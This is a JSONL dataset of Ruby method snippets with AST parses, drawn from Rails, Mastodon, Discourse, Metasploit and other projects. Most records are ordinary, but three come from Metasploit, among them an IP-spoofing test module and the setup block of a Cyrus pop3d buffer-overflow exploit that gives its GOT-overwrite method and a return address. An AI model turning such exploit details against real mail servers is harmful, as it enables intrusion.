{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":246,"raw_source":"def test_finds_template_with_arbitrarily_formatted_locale\n    I18n.backend.store_translations(:en_customer1, { hello: \"hello\" })\n    with_file \"test/hello_world.en_customer1.text.erb\", \"Good day, world.\"\n\n    templates = context.find_all(\"hello_world\", \"test\", false, [], locale: [:en_customer1])\n\n    assert_equal 1, templates.size\n    assert_equal \"Good day, world.\", templates[0].source\n  ensure\n    I18n.reload!\n  end","complexity_score":14.63,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finds_template_with_arbitrarily_formatted_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"sym\",\"children\":[\"en_customer1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hello\"]},{\"type\":\"str\",\"children\":[\"hello\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.en_customer1.text.erb\"]},{\"type\":\"str\",\"children\":[\"Good day, world.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"en_customer1\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Good day, world.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"reload!\"]}]}]}","id":"01e7fcd0-9b74-49fc-9a18-dd1e8194587c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/thread_resolve_worker.rb","start_line":9,"raw_source":"def perform(child_status_id, parent_url, options = {})\n    child_status = Status.find(child_status_id)\n    return if child_status.in_reply_to_id.present?\n\n    parent_status = ActivityPub::TagManager.instance.uri_to_resource(parent_url, Status)\n    parent_status ||= FetchRemoteStatusService.new.call(parent_url, **options.deep_symbolize_keys)\n\n    return if parent_status.nil?\n\n    child_status.thread = parent_status\n    child_status.save!\n\n    DistributionWorker.perform_async(child_status_id, { 'skip_notifications' => true }) if child_status.within_realtime_window?\n  rescue ActiveRecord::RecordNotFound\n    true\n  end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_status_id\"]},{\"type\":\"arg\",\"children\":[\"parent_url\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"child_status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"child_status_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_status\"]},\"in_reply_to_id\"]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parent_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_to_resource\",{\"type\":\"lvar\",\"children\":[\"parent_url\"]},{\"type\":\"const\",\"children\":[null,\"Status\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FetchRemoteStatusService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"parent_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"deep_symbolize_keys\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_status\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_status\"]},\"thread=\",{\"type\":\"lvar\",\"children\":[\"parent_status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_status\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_status\"]},\"within_realtime_window?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributionWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"child_status_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"skip_notifications\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"e1d9d2b4-bb7e-441c-b8a2-01a12ae37c39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/simple_client/open_pipe.rb","start_line":19,"raw_source":"def read_buffer(length, offset=0)\n    length ||= @buff.length\n    @buff.slice!(0, length)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"read_buffer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"optarg\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buff\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buff\"]},\"slice!\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]}","id":"427c4629-585e-4c13-82b2-99a4cf961ee5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/provisioning_profile.rb","start_line":474,"raw_source":"def certificate_valid?\n        return false if (certificates || []).count == 0\n        certificates.each do |c|\n          if Spaceship::Portal::Certificate.all(mac: mac?).collect(&:id).include?(c.id)\n            return true\n          end\n        end\n        return false\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificates\"]},{\"type\":\"array\",\"children\":[]}]}]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"Certificate\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"send\",\"children\":[null,\"mac?\"]}]}]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"67489e29-0af9-4603-8ff8-d5d94e6afc63"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/api_controller.rb","start_line":100,"raw_source":"def revoke_key\n    api_key = ApiKey.find_by(id: params[:id])\n    raise Discourse::NotFound if api_key.blank?\n\n    ApiKey.transaction do\n      api_key.update(revoked_at: Time.zone.now)\n      log_api_key_revoke(api_key)\n    end\n    render_serialized(api_key, ApiKeySerializer)\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiKey\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiKey\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revoked_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_api_key_revoke\",{\"type\":\"lvar\",\"children\":[\"api_key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"api_key\"]},{\"type\":\"const\",\"children\":[null,\"ApiKeySerializer\"]}]}]}]}","id":"07164146-9e7f-46c8-9b38-6a71473f238d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/ip_spoof.rb","start_line":29,"raw_source":"def run_host(ip)\n    open_pcap\n    p = PacketFu::UDPPacket.new\n    p.ip_saddr = ip\n    p.ip_daddr = ip\n    p.ip_ttl = 255\n    p.udp_sport = 53\n    p.udp_dport = 53\n    p.payload = \"HELLO WORLD\"\n    p.recalc\n    ret = send(ip, p)\n    if ret == :done\n      print_good(\"#{ip}: Sent a packet to #{ip} from #{ip}\")\n    else\n      print_error(\"#{ip}: Packet not sent. Check permissions & interface.\")\n    end\n    close_pcap\n  end","complexity_score":19.95,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_pcap\"]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"UDPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr=\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr=\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_ttl=\",{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"udp_sport=\",{\"type\":\"int\",\"children\":[53]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"udp_dport=\",{\"type\":\"int\",\"children\":[53]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"payload=\",{\"type\":\"str\",\"children\":[\"HELLO WORLD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"==\",{\"type\":\"sym\",\"children\":[\"done\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\": Sent a packet to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\": Packet not sent. Check permissions & interface.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"0475b94a-919d-466b-b22d-46a732eb048a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/features/support/components/cost_reports_base_table.rb","start_line":95,"raw_source":"def edit_cost_entry(new_value, row, cost_entry_id)\n      SeleniumHubWaiter.wait\n      page.find(\"#{row_selector(row)} .icon-edit\").click\n\n      expect(page).to have_current_path(\"/cost_entries/#{cost_entry_id}/edit\")\n\n      SeleniumHubWaiter.wait\n      fill_in(\"cost_entry_units\", with: new_value)\n      click_button \"Save\"\n      expect_flash(message: \"Successful update.\")\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_cost_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_value\"]},{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"cost_entry_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"row_selector\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"str\",\"children\":[\" .icon-edit\"]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_current_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/cost_entries/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cost_entry_id\"]}]},{\"type\":\"str\",\"children\":[\"/edit\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"cost_entry_units\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Save\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_flash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Successful update.\"]}]}]}]}]}]}","id":"4f68f8a9-999b-49b3-9f4c-85217bd95031"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/lookup_container.rb","start_line":29,"raw_source":"def post_id_from_imported_post_id(import_id)\n      @posts[import_id] || @posts[import_id.to_s]\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"post_id_from_imported_post_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"import_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_id\"]},\"to_s\"]}]}]}]}","id":"8443cedb-8047-4b4a-b1f2-fd42e0c479be"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":366,"raw_source":"def join(input, glue = ' ')\n      glue = Utils.to_s(glue)\n      InputIterator.new(input, context).join(glue)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"join\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"optarg\",\"children\":[\"glue\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"glue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"glue\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InputIterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]},\"join\",{\"type\":\"lvar\",\"children\":[\"glue\"]}]}]}]}","id":"5321c3be-b81d-422b-9d79-779fd5ad8f74"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',\n        'Description' => %q{\n          This exploit takes advantage of a stack based overflow.  Once the stack\n          corruption has occurred it is possible to overwrite a pointer which is\n          later used for a memcpy. This gives us a write anything anywhere condition\n          similar to a format string vulnerability.\n\n          NOTE: The popsubfolders option is a non-default setting.\n\n          I chose to overwrite the GOT with my shellcode and return to it. This\n          defeats the VA random patch and possibly other stack protection features.\n\n          Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with\n          a version containing the vulnerable code, it is not exploitable due to the\n          use of the FORTIFY_SOURCE compiler enhancement.\n        },\n        'Author' => [ 'bannedit', 'jduck' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-2502' ],\n          [ 'OSVDB', '25853' ],\n          [ 'BID', '18056' ],\n          [ 'EDB', '2053' ],\n          [ 'EDB', '2185' ],\n          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],\n        ],\n        'Payload' => {\n          'Space'\t=> 250,\n          'DisableNops' => true\n        },\n        'Platform'\t=> 'linux',\n        'Targets' => [\n          # bannedit: 0x080fd204\n          # K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)\n          [ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],\n        ],\n        'Privileged'\t=> true,\n        'DisclosureDate'\t=> '2006-05-21',\n        'DefaultTarget'\t=> 0,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [UNRELIABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([ Opt::RPORT(110) ])\n  end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit takes advantage of a stack based overflow.  Once the stack\\n\"]},{\"type\":\"str\",\"children\":[\"          corruption has occurred it is possible to overwrite a pointer which is\\n\"]},{\"type\":\"str\",\"children\":[\"          later used for a memcpy. This gives us a write anything anywhere condition\\n\"]},{\"type\":\"str\",\"children\":[\"          similar to a format string vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: The popsubfolders option is a non-default setting.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          I chose to overwrite the GOT with my shellcode and return to it. This\\n\"]},{\"type\":\"str\",\"children\":[\"          defeats the VA random patch and possibly other stack protection features.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with\\n\"]},{\"type\":\"str\",\"children\":[\"          a version containing the vulnerable code, it is not exploitable due to the\\n\"]},{\"type\":\"str\",\"children\":[\"          use of the FORTIFY_SOURCE compiler enhancement.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bannedit\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-2502\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"25853\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"18056\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"2053\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"2185\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[250]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gentoo 2006.0 Linux 2.6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[135254808]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2006-05-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNRELIABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[110]}]}]}]}]}]}","id":"05191b27-92d4-4d50-b25f-3dee3336757f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_mixin.rb","start_line":301,"raw_source":"def resource_display_name(rsc)\n    return rsc.name    if rsc.respond_to?(:name)\n\n    ''\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rsc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsc\"]},\"name\"]}]},null]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"518ca63b-af43-4e6f-9a0f-630da4a57c47"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/base/send_on_channel_service.rb","start_line":46,"raw_source":"def invalid_message?\n    # private notes aren't send to the channels\n    # we should also avoid the case of message loops, when outgoing messages are created from channel\n    message.private? || outgoing_message_originated_from_channel?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_message?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"private?\"]},{\"type\":\"send\",\"children\":[null,\"outgoing_message_originated_from_channel?\"]}]}]}","id":"74ec8925-35b3-4564-b47a-5d555e172004"}
